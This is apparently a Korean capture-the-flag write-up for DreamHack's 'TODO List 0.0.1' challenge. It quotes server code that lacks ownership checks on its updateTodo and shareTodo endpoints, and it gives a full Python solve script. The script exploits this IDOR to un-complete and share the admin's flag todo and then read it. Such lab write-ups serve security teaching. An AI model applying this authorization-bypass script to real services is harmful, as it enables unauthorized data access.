[🥈 Silver 2] 완료된 할 일을 훔쳐보기 — DreamHack TODO List 0.0.1 풀이

// server/utils/auth.js
export function verifyToken(req) {
    const authHeader = req.headers.authorization;
    if (!authHeader || !authHeader.startsWith('Bearer ')) {
        throw new Error('No token provided');
    }
    const token = authHeader.split(' ')[1];
    return jwt.verify(token, JWT_SECRET_KEY);   // { userId, email } 반환
}

// server/api/login.js (발췌)
const user = await db.get('SELECT * FROM Users WHERE email = ?', [email]);
const passwordValid = await bcrypt.compare(password, user.password);
const token = jwt.sign({ userId: user.id, email: user.email }, JWT_SECRET_KEY, { expiresIn: '3h' });

INSERT INTO Users (username, email, password) VALUES ('admin', 'admin@dreamhack.io', 'helloworld');
INSERT INTO Todolist (user_id, name) VALUES (1, 'admin');          -- Todolist.id = 1, admin 소유
INSERT INTO Todo (todo_list_id, title, description, is_completed)
       VALUES (1, 'flag', 'DH{sample_flag}', 1);                   -- 플래그 할 일, is_completed = 1

sqlite3 lab/deploy/mydatabase.db "SELECT id,todo_list_id,title,description,is_completed FROM Todo;"

// server/api/todolist.js
const userData = verifyToken(event.req);
// (1) 내 Todolist 에 속한 할 일들
const todoList = await db.all(
  'SELECT * FROM Todo where todo_list_id=(SELECT id FROM Todolist WHERE Todolist.user_id = ?)',
  [userData.userId]);
// (2) 나에게 공유된 할 일들
const sharedList = await db.all('SELECT * FROM TodoShares where user_id = ?', [userData.userId]);
for (const shared of sharedList){
    if (shared.permission_type === "owner" || shared.permission_type === "shared")
        todoList.push(await db.get('SELECT * FROM Todo where id = ?', [shared.todo_id]));
}
return todoList;

// server/api/shareTodo.js
const userData = verifyToken(event.req);
const todo = body;                       // 요청 본문을 그대로 사용
const todo_data = await db.get('SELECT * FROM Todo WHERE id = ?', [todo.id]);
if (todo_data.is_completed === 1) {
    return { message: 'you cannot share already completed todo', id: todo_data.id };
}
const result = await db.run(
  `INSERT INTO TodoShares (todo_id, user_id, permission_type) VALUES (?, ?, ?)`,
  [todo_data.id, todo.target_id, 'shared']);

// server/api/updateTodo.js
const userData = verifyToken(event.req);
const { id, value } = body;
const result = await db.run(
  `UPDATE todo SET is_completed = ? WHERE id = ?`,
  [value, id]);

#!/usr/bin/env python3
import sys, json, time, base64, urllib.request, urllib.error
 
BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://127.0.0.1:18080'
 
def req(path, method='GET', body=None, token=None):
    data = json.dumps(body).encode() if body is not None else None
    r = urllib.request.Request(BASE + path, data=data, method=method)
    r.add_header('Content-Type', 'application/json')
    if token:
        r.add_header('Authorization', 'Bearer ' + token)
    try:
        with urllib.request.urlopen(r, timeout=15) as resp:
            return resp.getcode(), resp.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()
 
def jwt_userid(tok):
    p = tok.split('.')[1]
    p += '=' * (-len(p) % 4)
    return json.loads(base64.urlsafe_b64decode(p)).get('userId')
 
user = 'zino_%d' % int(time.time())
email = user + '@test.com'
pw = 'pw_zino_1234'
 
print('[*] target =', BASE)
print('[1] signup:', req('/api/signup', 'POST', {'username': user, 'email': email, 'password': pw}))
 
code, txt = req('/api/login', 'POST', {'email': email, 'password': pw})
print('[2] login :', code, txt)
token = json.loads(txt)['token']
myid = jwt_userid(token)
print('    -> my userId =', myid)
 
print('[3] updateTodo id=1 value=0 (IDOR):', req('/api/updateTodo', 'POST', {'id': 1, 'value': 0}, token))
print('[4] shareTodo  id=1 target_id=%d :' % myid, req('/api/shareTodo', 'POST', {'id': 1, 'target_id': myid}, token))
 
code, txt = req('/api/todolist', 'GET', token=token)
print('[5] todolist:', code)
rows = json.loads(txt)
print(json.dumps(rows, indent=2, ensure_ascii=False))
 
for row in rows:
    if row and row.get('title') == 'flag':
        print('\n[+] FLAG =', row.get('description'))
        break

python3 solve.py http://127.0.0.1:18080

python3 solve.py http://host3.dreamhack.games:21735